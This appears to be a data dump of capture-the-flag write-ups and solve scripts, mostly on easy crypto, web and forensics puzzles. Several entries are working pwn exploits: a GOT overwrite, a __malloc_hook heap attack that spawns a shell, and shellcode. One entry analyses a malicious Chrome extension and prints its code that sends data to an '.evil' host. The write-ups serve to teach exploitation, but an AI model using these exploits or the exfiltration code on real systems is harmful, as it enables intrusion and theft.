text_chunk
stringlengths 151
703k
|
---|
```pythonfrom pwn import *import sys
binary = args.BINcontext.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)r = ROP(e)
gs = '''continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote('0.cloud.chals.io', 22354) else: return process(e.path, level="error")
offset = (e.got['sleep']-e.sym['categories'])/15info('Partial Offset = %2.5f' % offset)
p = start()
info("Sending Partial Overwrite")p.recvuntil(b'Would you like edit a category (Y/*) >>>')p.sendline(b'Y')p.recvuntil(b'Which category num >>>')p.sendline(b'-3')p.recvuntil(b'Enter the new value >>>')p.sendline(cyclic(5)+p64(e.sym['win']))
info("Triggering Sleep Function")p.recvuntil(b'Would you like edit a category (Y/*) >>>')p.sendline(b'Y')p.recvuntil(b'Which category num >>>')p.sendline(b'0')p.recvuntil(b'Enter the new value >>>')p.sendline(b'recon')
p.interactive()``` |
```pythonfrom pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)libc = ELF(e.runpath + b"/libc.so.6")
gs = '''continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote('0.cloud.chals.io', 10679) else: return process(e.path)
p = start()
def malloc(sz, data): p.recvuntil(b'size >>>') p.sendline(b"%i" % sz) p.sendline(data)
def leak(): p.recvuntil(b'at :') heap = int(p.recvline().strip(b'\n'), 16) info("Heap = %s" % hex(heap)) p.recvuntil(b'motto :') libc.address = int(p.recvline().strip(b'\n'), 16)-libc.sym['rand'] info("Libc = %s" % hex(libc.address)) return heap
info("Setting Top Chunk Size == 0xfffffffffffffff1 ")malloc(16, b'b' * 24 + p64(0xfffffffffffffff1))
info("Leaking Heap, Libc.Address")heap = leak()
info("Setting Top Chunk Addr = __mallock_hook - 0x10")malloc_hook = libc.sym['__malloc_hook']distance = malloc_hook - heap - 0x20 - 0x10malloc(distance, b"Y")
info("overwriting __malloc_hook with libc.sym.system: %s" % hex(libc.sym.system))malloc(24, p64(libc.sym.system+0x5))
info("Calling malloc(\"/bin/sh\"), which is now system(\"/bin/sh\")")malloc(next(libc.search(b"/bin/sh")), b"")
p.interactive()`` |
```pythonimport loggingfrom scapy.all import rdpcaplogging.getLogger("scapy.runtime").setLevel(logging.ERROR)
PCAP = 'hidden_wisdom.pcap'
def read_pkts(): return rdpcap(PCAP)
def ret_flag(pkts): prev = 0 msg = '' flag = ''
for pkt in pkts: diff = pkt.time-prev if ((diff > .28) and (diff < .32)): msg += '1' elif ((diff > .08) and (diff < .12)): msg += '0' prev = pkt.time
if len(msg) == 8: flag += chr(int(msg, 2)) msg = ''
return flag
pkts = read_pkts()print("{Solution: uscg{%s}" % ret_flag(pkts))``` |
# Sanity Check:Web:100pts[https://challs.viewsource.me/sanity-check](https://challs.viewsource.me/sanity-check/)
# SolutionURLใๆธกใใใใฎใงใขใฏใปในใใใจ่ฌใฎใตใคใใงใใฃใใ Sanity Check [site.png](site/site.png) ้็ใชใตใคใใชใฎใงใใฝใผในใ่ฆใฆใฟใใ ```bash$ curl https://challs.viewsource.me/sanity-check/~~~ <body> <div class="centered"> <h1>What does <vs>VS</vs> stand for in <vs><vsCTF/></vs>?</h1> </div> </body></html>```flagใๆธใใใฆใใใ
## vsctf{v1ew_s0urc3_a_f1rst_y3ar_t3am!} |
# Hex to ASCII## Description> Do you know how to speak hexadecimal? I love speaking in hexadecimal. In fact, in HexadecimalLand, we like to say## Attachments> 4c49544354467b74306f6c355f346e645f77336273317433735f6172335f763372795f696d70307274346e745f6630725f4354467d---# No jokeThis is a pretty simple task, a quick google search solves it instantly, it's just a conversion of hexto string (in ASCII).
## Okay maybe one joke.I'm going to start a tradition upsolving easy problems in emojicode because its pretty funny lol.
If you read my [first emojicode writeup](https://github.com/flocto/writeups/tree/main/2022/ImaginaryCTF/emojis) this one isquite similar to the last part of that one.
Basically I define a string literal `hex` with the given input. Then I iterate over the range of that literal with a step of 2. On each iteration, I take a slice of 2 characters, read that slice as a number using base 16, and finally store that number as a bytein `char`. `char` is then appended to `msg`, a string builder defined earlier.
After all the iterations, the entire message should be properly decoded in `msg`, meaning we can just print it out.
Running the program, we get our flag.```>>> emojicodec hex2ascii.?>>> ./hex2asciiLITCTF{t0ol5_4nd_w3bs1t3s_ar3_v3ry_imp0rt4nt_f0r_CTF}``` |
The challenge description talks about speaking in hexadecimal. The standard way to encode strings in hex is to convert each character to its ASCII code, convert that to hex, and concatenate the bytes (one character is a byte, which is in turn 8 bits). You can use an online converter/decoder like [https://string-functions.com/hex-string.aspx](https://string-functions.com/hex-string.aspx)), another converter tool, or you could write a simple converter.Here's a simple decoder that you could write:```python3hex_string = input('Hex string: ')converted = ''for i in range(0, len(hex_string), 2): # b = the byte as a python integer b = int(hex_string[i]+hex_string[i+1], 16) # add this byte to the final result string converted += chr(b)print(converted)```After you convert the string, you get the flag, which is `LITCTF{t0ol5_4nd_w3bs1t3s_ar3_v3ry_imp0rt4nt_f0r_CTF}`. |
Downloading the text file, we find the text `YVGPGS{J3yp0z3_G0_Y1GPGS}`. Now this looks like the flag, but it isn't because the flag format is `LITCTF{}` not `YVGPGS{}`. The problem statement talks about caesar salad, which reminds us of the Caesar cipher. We don't know the shift, but we can find it by hand using frequency analysis or comparing known letters. Or we could just use an online tool like [https://www.dcode.fr/caesar-cipher](https://www.dcode.fr/caesar-cipher) that brute forces through every combination. Running the tool on the encrypted flag, we see a list of possible plaintexts. Looking through the list, we see that the one with shift 13 has the correct flag format, and we find that the flag is `LITCTF{W3lc0m3_T0_L1TCTF}`. |
When we visit the website, we don't see much, so let's look inside the sources using the browser's developer tools.
First, let's look at the HTML file. Looking at the source code, we find that at the bottom of the page there's this line which contains the first part of our flag:```htmlHAHAHAHAHAHAHAHAHAHA I know you will never reach the bottom here because of my infinite scroll. If you somehow did, here is the first third of the half LITCTF{E5th3r_M4n```Now let's look at the CSS file. We find this ruleset which contains a comment with the second part of the flag:```css.secret { /* _i5_s0_OTZ_0TZ_OFZ_4t_ */ font-size: 50px;
HAHAHAHAHAHAHAHAHAHA I know you will never reach the bottom here because of my infinite scroll. If you somehow did, here is the first third of the half LITCTF{E5th3r_M4n
}```Finally, let's look at the JavaScript file. We find a comment inside the `calcSpeed` function which contains the third and final part of the flag:```jsfunction calcSpeed(prev, next) { // 3v3ryth1ng_sh3_d03s} var x = Math.abs(prev[1] - next[1]); var y = Math.abs(prev[0] - next[0]);
var greatest = x > y ? x : y;
var speedModifier = 0.5;
var speed = Math.ceil(greatest / speedModifier);
return speed;
}```Putting the pieces together, we find out that the flag is `LITCTF{E5th3r_M4n_i5_s0_OTZ_0TZ_OFZ_4t_3v3ryth1ng_sh3_d03s}`. |
When we download and look at the file (`challenge.txt`), we see a 3x3 matrix of numbers and some other stuff. This reminds us of the Hill Cipher, which uses matrices and linear algebra to encrypt things. Also, the title mentions "Hill," so it's a reasonable guess. Below the matrix, we see `A8FC7A{H7_ZODCEND_8F_CCQV_RTTVHD}`, which looks like the encrypted flag. We also see `ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}`, which we can guess is the alphabet. Decrypting it using any method ([https://www.dcode.fr/hill-cipher](https://www.dcode.fr/hill-cipher) works pretty well), we find that the flag is `LITCTF{B3_RUNN1NG_UP_TH4T_H1LLLL}`. |
The challenge began with a Google Chrome extension, โDiscurdNitru.crx,โ being given to contestants. When unpacking this extension, a .zip file was found, containing a JavaScript file titled โbackground.js.โ
Opening this JavaScript file, it was immediately noticeable that the code was obfuscated. Two large arrays were present, containing what looked like random strings of characters and word/command fragments. Knowing this, the obfuscated code started to look a lot simpler to understand. The author of this code broke up sections of the code into different array items and concatenated these items in the code.
```async function iF() { q = [ '', 'ma', '', '', '', '', '', '', '', 'h', '124118', 'fetch', '', 'et', '', '0A99', '', '', '', '', '', 'ex', '', '', '', '', '',<snip>```
```<snip>if (!(q[244] + q[82] + q[327] + q[1129] + q[1126] + q[192] + q[524] + q[1053] + q[934] + q[838] + q[830] + q[265] + q[454] + q[330] + q[520] + q[794] + q[610] + q[1054] + q[1003] + q[556] + q[1038] + q[809] + q[63] + q[1234] + q[1239] + q[220] + q[409] + q[1016] + q[929] + q[58] + q[1023] + q[545] in document)) { document[q[244] + q[82] + q[327] + q[1129] + q[1126] + q[192] + q[524] + q[1053] + q[934] + q[838] + q[830] + q[265] + q[454] + q[330] + q[520] + q[794] + q[610] + q[1054] + q[1003] + q[556] + q[1038] + q[809] + q[63] + q[1234] + q[1239] + q[220] + q[409] + q[1016] + q[929] + q[58] + q[1023] + q[545]] = true;<snip>```
In order to deobfuscate this, sections of code can be taken and programmatically converted back into text using JavaScript. I found it easiest to do all of this from a browser console. I copied and pasted the code for the array, then decoded the body of the code by sections.
Once the entire background.js file has been deobfuscated, we get sections like this:
```<snip>if (new window[TextDecoder](utf-8)[decode](await window[crypto][subtle][digest](sha-256, y))[endsWith](chrome)) { j = new window[Uint8Array](y[byteLength] + (await window[crypto][subtle][digest](sha-256, y))[byteLength]); j[set](new window[Uint8Array](y), 0); j[set](new window[Uint8Array](await window[crypto][subtle][digest](sha-256, y)), y[byteLength]); window[fetch]("hxxps://qwertzuiop123.evil/" + [...new window[Uint8Array](await window[crypto][subtle][encrypt]({ [name]: AES-CBC, [iv]: new window[TextEncoder](utf-8)[encode](_NOT_THE_SECRET_) }, await window[crypto][subtle][importKey](raw, await window[crypto][subtle][decrypt]({ [name]: AES-CBC, [iv]: new window[TextEncoder](utf-8)[encode](_NOT_THE_SECRET_) }, await window[crypto][subtle][importKey](raw, new window[TextEncoder](utf-8)[encode](_NOT_THE_SECRET_), { [name]: AES-CBC }, true, [decrypt]), new window[Uint8Array]((E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8)[match](/../g)[map](h => window[parseInt](h, 16)))), { [name]: AES-CBC }, true, [encrypt]), j))][map](x => x[toString](16)[padStart](2, '0'))[q338join](''));<snip>```
This code is much more readable. Below this snippit, it looks like this program is submitting something as a parameter to โhxxps://qwertzuiop123.evil/โ. I can see from the code that it uses AES-CBC, so I will use CyberChefโs AES Decrypt operation. CyberChef is an online and offline tool used to do many quick data processing/analysis operations. It can be found at https://gchq.github.io/CyberChef/.
There is a Uint8Array defined in the above code snippit, so I am assuming that will be our input. Looking further through the code, I also see โ`_NOT_THE_SECRET_`โ being encoded and processed twice, so letโs try that as both our key and initialization vector (IV).
When opening CyberChef, search for the "AES Decrypt" operation in the top left search bar. Drag and drop this operation into the "Recipe" in the middle. This will then display options for the AES key, initialization vector (IV), and mode being used. In the "Input" box, we will put the long string E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8 found in the Uint8Array in the code snippit above.
Then, we add the potential key and IV we identified,"`_NOT_THE_SECRET_`", into their respective fields. The "Mode" box should have the value of CBC selected by default as this is the most common mode used in AES. This is the correct mode for this example, so just leave it as is.
**(Note: The key and IV fields in CyberChef are set to use hexadecimal by default. If you look to the right of each of these boxes, you will see that there is a dropdown menu. Select "UTF-8" for both the key and the IV since they will be in plaintext for this example. Please also ensure that the "Input" field beside the "Mode" field is set to Hex.)**
And we get `HTB{__mY_vRy_owN_CHR0me_M1N3R__}`! Looks like that is our flag for this challenge. |
The task website challenge us to guess a five characters word, if the guessed word is correct, it give us the flag otherwise the the correct guess is returned alongside with a new game id.If we try to resend the correct guess with the old game id we got the below error message:> Expired or invalid game ID. Games are deleted 5 seconds after your guess to reduce memory usage.
As mentioned above, games are deleted 5 seconds after making a guess, so if we were able to resend the correct guess before the 5 seconds expire then we can get the flag, this lead us to use an automated script, below our bash script:
```#!/bin/bash
#get the game idgame_id=$(curl https://uscg-web-wordy-w7vmh474ha-uc.a.run.app/api/game | sed 's/[\{\}]//g')echo "[+]New game: $game_id"
#get the correct guessecho "{\"guess\":\"test0\", $game_id}" > cookieguess=$(curl -X POST -H 'Content-Type: application/json' https://uscg-web-wordy-w7vmh474ha-uc.a.run.app/api/guess -d @cookie | cut -d, -f1 | cut -d: -f2)echo "[-]Guess should be: $guess"
#send back the correct guess before the 5 sec expireecho "{\"guess\":$guess, $game_id}" > cookieflag=$(curl -X POST -H 'Content-Type: application/json' https://uscg-web-wordy-w7vmh474ha-uc.a.run.app/api/guess -d @cookie | sed 's/.*\(USCG{[a-zA-Z0-9_-]*}\).*/\1/g')echo "[+]Here is your flag: $flag"``` |
We get an image which doesn't have much information if you look at it directly. So let's try to find information hidden inside the image. If we upload the photo to [https://fotoforensics.com/](https://fotoforensics.com/), we find that the title is `LITCTF{c0de_`, the description is `t1g2r_`, and that the rights are `orz}` from the XMP metadata. We can assume that these are the first, second, and third/last parts respectively, and we get that the flag is `LITCTF{c0de_t1g2r_orz}`.
Alternatively, we can use the Unix (or Unix-like) utility `strings` to find the XMP metadata itself in the image as XML:```xml
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.36'><rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'> <rdf:Description rdf:about='' xmlns:dc='http://purl.org/dc/elements/1.1/'> <dc:description> <rdf:Alt> <rdf:li xml:lang='x-default'>t1g2r_</rdf:li> </rdf:Alt> </dc:description> <dc:rights> <rdf:Alt> <rdf:li xml:lang='x-default'>orz}</rdf:li> </rdf:Alt> </dc:rights> <dc:title> <rdf:Alt> <rdf:li xml:lang='x-default'>LITCTF{c0de_</rdf:li> </rdf:Alt> </dc:title> </rdf:Description></rdf:RDF></x:xmpmeta>
```Note that I have replaced the place where there was binary data with `[BINARY DATA]`. Also, note that we could have also used a text or hex editor to find the XMP metadata too.
We can proceed in a similar fashion as the first way to find the flag. |
# TL;DR
Mmap large chunk to get libc address
libc environment to get stack address
use flag reference on stack to print out the flag
```// mmap large chunk to get libcmov rax, 9mov rdi, 0mov rsi, 0x100000mov rdx, 0x7mov r10, 0x22mov r8, -1mov r9, 0syscall
//get stack from libc environadd rax, 0x2ef600mov rsp, [rax]
//print flagmov rax, 1mov rdi, 1mov rdx, 0x100mov rsi, [rsp-0x240]syscall``` |
Since the problem is about cookies, we guess that browser cookies are involved. Let's look at the cookies with the browser's developer tools. You can view them in the Application section on the Chromium-based browsers (Chromium, Chrome, Edge, Opera, etc.) and the Storage section on Firefox and probably its derivatives. Now notice that it's set to `false` by default. Also, the web page says that it's not showing anything because the user doesn't like any cookies ***judging from your current cookies***. So maybe it'll show something interesting if we set it to `true`.
When we set the cookie to `true`, it shows us this:> Oh silly you. What do you mean you like a true cookie? I have 20 cookies numbered from 1 to 20, and all of them are made from super true authentic recipes.
So let's try setting the `likeCookie` cookie to a number between 1 and 20, like `1`. When we do that, we get the following message and a picture of a cookie:> Hm okay. If you like the cookie number 1 then here you go I guess. It's not my favorite cookie though
So maybe we need to look for the favorite cookie. If we try all of the possible cookie values, we find that number `17` is Kevin's favorite, and it gives us the flag, which is `LITCTF{Bd1mens10n_15_l1k3_sup3r_dup3r_0rzzzz}`. |
#### Description:Small numbers are bad in cryptography. This is why.
#### dhkectf_intro.py```pythonimport randomfrom Crypto.Cipher import AES
# generate keygpList = [ [13, 19], [7, 17], [3, 31], [13, 19], [17, 23], [2, 29] ]g, p = random.choice(gpList)a = random.randint(1, p)b = random.randint(1, p)k = pow(g, a * b, p)k = str(k)
# print("Diffie-Hellman key exchange outputs")# print("Public key: ", g, p)# print("Jotaro sends: ", aNum)# print("Dio sends: ", bNum)# print()
# pad key to 16 bytes (128bit)key = ""i = 0padding = "uiuctf2021uiuctf2021"while (16 - len(key) != len(k)): key = key + padding[i] i += 1key = key + kkey = bytes(key, encoding='ascii')
with open('flag.txt', 'rb') as f: flag = f.read()
iv = bytes("kono DIO daaaaaa", encoding = 'ascii')cipher = AES.new(key, AES.MODE_CFB, iv)ciphertext = cipher.encrypt(flag)
print(ciphertext.hex())```
#### output.txt```b31699d587f7daf8f6b23b30cfee0edca5d6a3594cd53e1646b9e72de6fc44fe7ad40f0ea6```
----
Let's look at the python script:
The script contains a list of tuples of prime numbers and chooses one tuple randomly. The primes will be used for a Diffie-Hellman key exchange. The first prime will be used as generator and the second one as module.```pythongpList = [ [13, 19], [7, 17], [3, 31], [13, 19], [17, 23], [2, 29] ]g, p = random.choice(gpList)```
After agreeing on the generator, each party generates its secret:```pythona = random.randint(1, p)b = random.randint(1, p)```
Normally the following would happen:- Alice calculates `g^a % p` and sends it to Bob, Bob calculates `g^b % p` and sends it to Alice- Alice calculates with the received value from Bob `(g^b % p)^a % p`, Bob does the same- Now Alice and Bob have the same secret key: `(g^b % p)^a % p = (g^b)^a % p = g^(b*a) % p = g^(a*b) % p = (g^a)^b % p = (g^a % p)^b % p`.
As the authors use Diffie-Hellman just to generate a key locally, they simplified this:```pythonk = pow(g, a * b, p)```
After that the key is converted to string for later use:```pythonk = str(k)```
As we now have generated a secret key with Diffie-Hellman this key is used in AES for encrypting the flag.
As AES needs a 128-bit key, we have to blow up our key. The script chooses the easy way and adds constant padding in front of the key:```python# pad key to 16 bytes (128bit)key = ""i = 0padding = "uiuctf2021uiuctf2021"while (16 - len(key) != len(k)): key = key + padding[i] i += 1key = key + k```
Then the key is converted to bytes for the AES-Function:```pythonkey = bytes(key, encoding='ascii')```
After that the flag is read from file:```pythonwith open('flag.txt', 'rb') as f: flag = f.read()```
AES needs an initialization vector. The authors decided to use a constant initialization vector. This has the advantage, that the initialization vector must not be stored with the encrypted text, so that we can handle the output.txt easier. On the other side this destroys the reason for the initialization vector which should prevent that all messages with the same first block have the same first ciphertext block. As we have only one message, this is irrelevant.```pythoniv = bytes("kono DIO daaaaaa", encoding = 'ascii')```
Now the flag is encrypted:```pythoncipher = AES.new(key, AES.MODE_CFB, iv)ciphertext = cipher.encrypt(flag)```
Finally, the encrypted text is written in hex to the given output.txt:```pythonprint(ciphertext.hex())```
---Now we can try to decrypt the flag. First we need to read the encrypted flag:```pythonwith open("output.txt", "r") as f: output = bytearray.fromhex(f.read())```
As `gpList` is short and the used modules are small, we can simply test all tuples:```pythonfor pair in gpList: g, p = pair print(g, p, pair)```
As the module is small, we can test all possible `a` and `b`. Without loss of generality we can assume `b >= a`, since multiplication is commutative.```python for a in range(1, p+1): for b in range(a, p+1):```We have to use `p+1`, because `randInt(a,b)` uses the interval `[a, b]` whereas `range(a,b)` uses the interval `[a, b)`.
Now we can copy the computation of the key from the provided encryption script:```python #a = random.randint(1, p) #b = random.randint(1, p) k = pow(g, a * b, p) k = str(k)
#print("Diffie-Hellman key exchange outputs") #print("Public key: ", g, p) #print("Jotaro sends: ", aNum) #print("Dio sends: ", bNum) #print()
#pad key to 16 bytes (128bit) key = "" i = 0 padding = "uiuctf2021uiuctf2021" while (16 - len(key) != len(k)): key = key + padding[i] i += 1 key = key + k key = bytes(key, encoding='ascii')
iv = bytes("kono DIO daaaaaa", encoding = 'ascii')```
After initializing AES```python cipher = AES.new(key, AES.MODE_CFB, iv)```
we can try to decrypt the flag.```python cleartext = cipher.decrypt(output)```
As we know the beginning of the flag, we can filter the output:```python if cleartext[:7] == b'uiuctf{': print(cleartext)```
When we now execute the script, we will see the correct flag can be decrypted with different tuples and even multiple times per tuple:```[13, 19]b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'[7, 17]b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'[3, 31]b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'[13, 19]b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'[17, 23]b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'[2, 29]b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'```
This has multiple reasons:1. We can redistribute the prime factors of `a*b` nearly arbitrary between `a` and `b`.2. Because of the module, the resulting `k` will always be in the interval `[0, p-1]`. Since the greatest common divisor between `g` and `p` is `1`, the `0` cannot be reached. So `k` will be always in the interval `[1, p-1]`
With this knowledge, we can simplify the script:1. Search the greatest module and use only this module.2. Iterate over the interval `[1, p-1]` and try each for `k`.
With this adjustments, we get the following script:```pythonfrom Crypto.Cipher import AES
# find greatest modulegpList = [ [13, 19], [7, 17], [3, 31], [13, 19], [17, 23], [2, 29] ]mod = 0for g, p in gpList: if p > mod: mod = p
# open encrypted flagwith open("output.txt", "r") as f: output = bytearray.fromhex(f.read())
# iterate over all possible keysfor i in range(1, mod): k = str(i)
#pad key to 16 bytes (128bit) key = "" i = 0 padding = "uiuctf2021uiuctf2021" while (16 - len(key) != len(k)): key = key + padding[i] i += 1 key = key + k key = bytes(key, encoding='ascii')
# initialize AES iv = bytes("kono DIO daaaaaa", encoding = 'ascii') cipher = AES.new(key, AES.MODE_CFB, iv)
# decrypt flag cleartext = cipher.decrypt(output)
# check if cleartext is flag and print flag if cleartext[:7] == b'uiuctf{': print(cleartext)```
Now we get the flag only once.```b'uiuctf{omae_ha_mou_shindeiru_b9e5f9}\n'```
Due to the small numbers the time difference between both scripts is negligible (0.90s vs. 0.83s). |
# MURDER MYSTERY## Description>LIT murder mystery... who could be the culprit? Please wrap it in `LITCTF{}`## Attachments>[Website](http://litctf.live:31774/)
## Hint>Some things are like the apparition of CodeTiger. He may appear to have zero mass or width, effectively invisible, but he's still always there with us <3
---# First lookTaking a look at the site, we see what seems to be a point-and-click adventure.

Each name is clickable and leads to a seperate view with some different information.Both the Eyang and Kmathz seem to require passwords, meaning we can't see them for now.
From here, I took a look at the source to see if there was anything unusual.In the source, we can actually see each individual view in the element `tw-storydata` as its own `tw-passagedata` element.We started on passage 4, which matches with what's in the element.

## SusAfter extracting all the [data](https://github.com/flocto/writeups/blob/main/2022/LITCTF/MURDER%20MYSTERY/scriptdata.html), there is a huge chunk of text in `K_Correct`.```htmlCodeTiger's dictatorship becomes more unbearable with each passing day. I hate every cell in his body. Every day, myblood boils as I witness him. LexMACS is an organization gathering theworld's๏ปฟโโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโ... (many many more entities)most ambitious and brightest programmers, yet we all suffocate under his iron first.
No, it can't be like this! Something needs to be done. Nay. Something MUST be done. For LexMACS, for the CScommunity, and for all of humanity.
The time has come, and I will rise to the occasion.```This is already super sus, and if we try to render the entities, we get:```๏ปฟโโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโโ โโโโโโโ 